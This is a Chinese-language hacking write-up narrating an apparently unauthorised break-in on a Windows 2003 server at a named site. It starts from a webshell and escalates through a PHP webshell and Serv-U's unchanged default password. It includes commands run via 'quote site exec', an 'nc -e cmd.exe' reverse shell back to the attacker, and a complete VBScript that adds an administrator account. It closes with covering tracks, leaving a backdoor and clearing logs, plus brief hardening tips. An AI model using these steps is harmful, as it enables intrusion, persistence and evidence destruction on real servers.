|
之前我已经得到一个SHELL 不过没有多大的权限,如图1 WScript.Shell 和Wscript.Network被干掉了 没办法运行程序 不过还好,FSO还是支持的,先逛逛看有什么好东西 c:\ 没有权限打开,意料中的 c:\winnt\ 没有此目录或没有权限打开 再看看c:\windows 打开了,看来是win2003的系统啊 本来还打算数据库溢出返回一个CMD呢,虽然是GUEST权限的,但是还可以执行程序的,现在win2003的数据库溢出成功率不大,这条路走不通了
c:\php 存在,太好了,先看下我们得到的这个WEBSHELL的目录支持PHP不,传个PHP马上去 http://www.target.com/php.php,哈,支持,太爽了
这样的话就不怕没有运行程序的权限了 现在来看下有没有装serv-u,要是有serv-u的话,那提权成功的希望就大了
C:\WINDOWS>ftp *.*.*.* Connected to www.east-venice.com. 220 Serv-U FTP Server v6.2 for WinSock ready... User (www.east-venice.com:(none)):
哈哈,Serv-U 6.2的,希望不要改默认密码
现在好了,有PHP,有Serv-U ,现在就传个WOFEIWO的Serv-U All Version本地提升权限的PHP程序上去,我用的是朋友CiKer做过免杀处理的(在此感谢下woweiwo写了这么好的东西,也感谢朋友ciker) 先用默认的用户名和密码加个FTP用户看(祈祷:希望不要改了默认密码) 还真没改默认密码(其实serv-u6.02以上的版本可以直接在管理哪里改密码的,我幸运的是这个管理没有改)如图3
具有特权的FTP帐号加好了,现在来用找个特权的FTP帐号继续加个体统用户来登陆终端 如图4
用加的这个用户登陆终端看看
系统无法让您登陆。。。。。 明明成功了啊 怎么不让登陆呢
自己直接在CMD下用超级FTP帐号登陆 然后执行命令 如下: 220 Serv-U FTP Server v6.2 for WinSock ready... User (www.east-venice.com:(none)): fuck 331 User name okay, need password. Password: 230 User logged in, proceed. ftp> quote site exec "net user fuck fuckyou /add" 501 Cannot EXEC command line (error=0).
不能执行命令 奇怪了 ftp> quote site exec "ipconfig" 200 EXEC command successful (TID=33). 这个命令可以执行 估计是NET被做了限制,传个NC上去返回一个SHELL,(这个返回的SHELL可是system的权限) 先用nc在本地监听1340端口,nc -l -p 1340 在cmd下执行 quote site exec "c:\nc.exe -e cmd.exe *.*.*.* 1340"
返回了 net user 没有权限运行 用cacls c:\windows\system32\net.exe查看下net的权限设置,(cacls具体的用法参考前几期的杂志) 也没有没有权限运行,设置的比较变态 自己传个net上去,改名为user.exe user.exe user 还是没有权限 (刚开始以为NET.EXE做了NTFS权限设置或者做了组策略(后来我成功登陆后查看了组策略,没有做过),所以我传了个NET上去,改了名字,但是还是不可以运行,这样我就以为是删除了HKEY_LOCAL_MACHINE\SAM\SAM下的C建值,因为删除了这个就不可以用NET了,我自己测试过的,但是后来我自己导出了这个的值,HKEY_LOCAL_MACHINE\SAM\SAM的C建值还在的,这里我就不知道用到什么方法禁止掉net的,删除了C建值的不能用NET,在计算机管理用户哪里也不可以加用户的,只有把这个C建值导入才可以建)
既然不是删除了c建值,我记得用一个VBS可以建立用户的(我自己测试环境是设置组策略不能运行net.exe net1.net和对net.exe和net1.exe 加了NTFS权限设置 ) 代码如下 struser=wscript.arguments(0) strpass=wscript.arguments(1)
set lp=createObject("WSCRIPT.NETWORK") oz="WinNT://"&lp.ComputerName Set ob=GetObject(oz) Set oe=GetObject(oz&"/Administrators,group") Set od=ob.create("user",struser) od.SetPassword strpass od.SetInfo Set of=GetObject(oz&"/" & struser & ",user") oe.Add(of.ADsPath)
For Each admin in oe.Members if struser=admin.Name then Wscript.echo struser & " 建立成功!" wscript.quit end if Next
Wscript.echo struser & " 用户建立失败!"
用法:cscript user.vbs 用户 密码
执行后返回如下错误 C:\>cscript user.vbs fuck fuckyou Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
C:\user.vbs(4, 1) Microsoft VBScript 运行时错误: ActiveX 部件不能创建对象: 'WSCRIPT.NETWORK'
这个VBS是利用这个组件来建立用户的 wshom.ocx这个程序文件是支持这个组件的,先找找看这个组件在不在,不在的话本地传一个上去,运气好,这个组件看来只是卸载了这个组件,并没有删除 那我们就注册这个组件 regsvr32 C:\WINdows\System32\wshom.ocx
继续执行
C:\>cscript user.vbs fuck fuckyou Microsoft (R) Windows Script Host Version 5.6 版权所有(C) Microsoft Corporation 1996-2001。保留所有权利。
fuck 建立成功! 建立成功了
用这个登陆终端
端口也没有改,我的运气不是一般的好 连终端端口都不用找 登陆成功了
上去先清楚自己的痕迹 删除NC.EXE 删除user.vbs 然后再卸载wshom.ocx这个程序文件,一切争取做的和被我们入侵以前一样 留后门 再清理日志
总结: 这次得到管理权限确实有点不容易,服务器总体设置比较好,但是服务器的设置忘记了一点,"不该给的权限一点都不要给"本来我只有一个ASP站点的WEBSHELL,如果站点不用PHP的话,就把PHP的扩展删除(引申下就是只留有用后缀扩展,不用一律删除,如果以后要用的时候可以再加的),还有就是管理员的疏忽,从总体来看管理员还是有很好的安全意识,但是为什么不改掉SERR-U的默认密码呢,给我有了可乘之机,有了进一步的权限,FTP的系统权限,其实有了这个权限就等于有了系统的SYSTEM权限了。 不过这次也学到一点就是删除一切不必要的组件,象WSCRIPT.NETWORK这个组件我以前是很少注意的 regsvr32/u C:\WINNT\System32\wshom.ocx del C:\WINNT\System32\wshom.ocx regsvr32/u C:\WINNT\system32\shell32.dll del C:\WINNT\system32\shell32.dll 运行一下,WScript.Shell, Shell.application, WScript.Network就会被卸载了。可能会提示无法删除文件,不用管它,重启一下服务器,你会发现这三个都提示"×安全"了。 |